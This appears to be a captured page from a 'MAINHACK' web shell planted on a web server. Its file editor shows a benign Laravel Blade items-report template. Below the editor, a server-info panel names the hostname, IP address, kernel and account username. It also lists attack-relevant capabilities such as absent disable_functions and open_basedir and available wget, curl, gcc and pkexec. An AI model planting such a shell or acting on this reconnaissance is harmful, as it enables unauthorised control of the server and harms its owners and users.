[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: items_report.blade.php
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link rel="preconnect" href="https://fonts.googleapis.com"> <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> <link href="https://fonts.googleapis.com/css2?family=Urbanist:ital,wght@0,100..900;1,100..900&display=swap" rel="stylesheet"> <title>Online Orders</title> <style> body { font-family: "Urbanist", sans-serif; color: #1F1F39; } .container { width: 100%; height: 100vh; margin: auto; position: relative; } .report { width: 100%; text-align: center; } img { margin: 0px 0px 8px 0px; font-size: 16px; font-weight: 600; } p { margin: 0px 0px 16px 0px; } th, td { border-collapse: collapse; border: 1px solid #EFF0F6; padding: 12px 11px; text-align: left; font-size: 12px; font-weight: 400; } table { border-radius: 8px; outline: 1px solid #EFF0F6; outline-offset: -1px; overflow: hidden; width: 100%; border-collapse: collapse; } th { background-color: #F8FBFB; } th:first-child { text-wrap: nowrap; } tbody { color: #6E7191; } .date, .time { text-wrap: nowrap; } .total { color: #1F1F39; } .footer { position: absolute; width: 100%; text-align: center; font-size: 12px; font-weight: 400; bottom: 20px; } </style> </head> <body> @php $total_quantity = 0; @endphp <div class="container"> <div class="report"> <p style="margin: 0px 0px 8px 0px;font-size: 16px;font-weight: bold">{{ App\Libraries\AppLibrary::textShortener($company['company_name'], 60) }}</p> <p>{{ App\Libraries\AppLibrary::textShortener($company['company_address'],60) }}</p> <p style="color: #ff006b;margin: 0px 0px 8px 0px;font-size: 16px;font-weight: bold;">{{ trans('all.label.items_report', [], 'en') }}</p> <table> <thead> <tr> <th>{{ trans('all.label.name', [], 'en') }}</th> <th>{{ trans('all.label.item_category_id', [], 'en') }}</th> <th>{{ trans('all.label.item_type', [], 'en') }}</th> <th>{{ trans('all.label.quantity', [], 'en') }}</th> </tr> </thead> <tbody> @foreach ($items as $item) @php $total_quantity+= $item->orders->count(); @endphp <tr> <td>{{$item->name}}</td> <td>{{ optional($item->category)->name }}</td> <td>{{ trans( 'itemType.' . $item->item_type , [] , 'en') }}</td> <td>{{ $item->orders->count() }}</td> </tr> @endforeach <tr class="total"> <td colspan="3">{{ trans('all.label.total', [], 'en') }}</td> <td>{{ $total_quantity }}</td> </tr> </tbody> </table> </div> <div class="footer"> {{ $copyright }} </div> </div> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.98 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002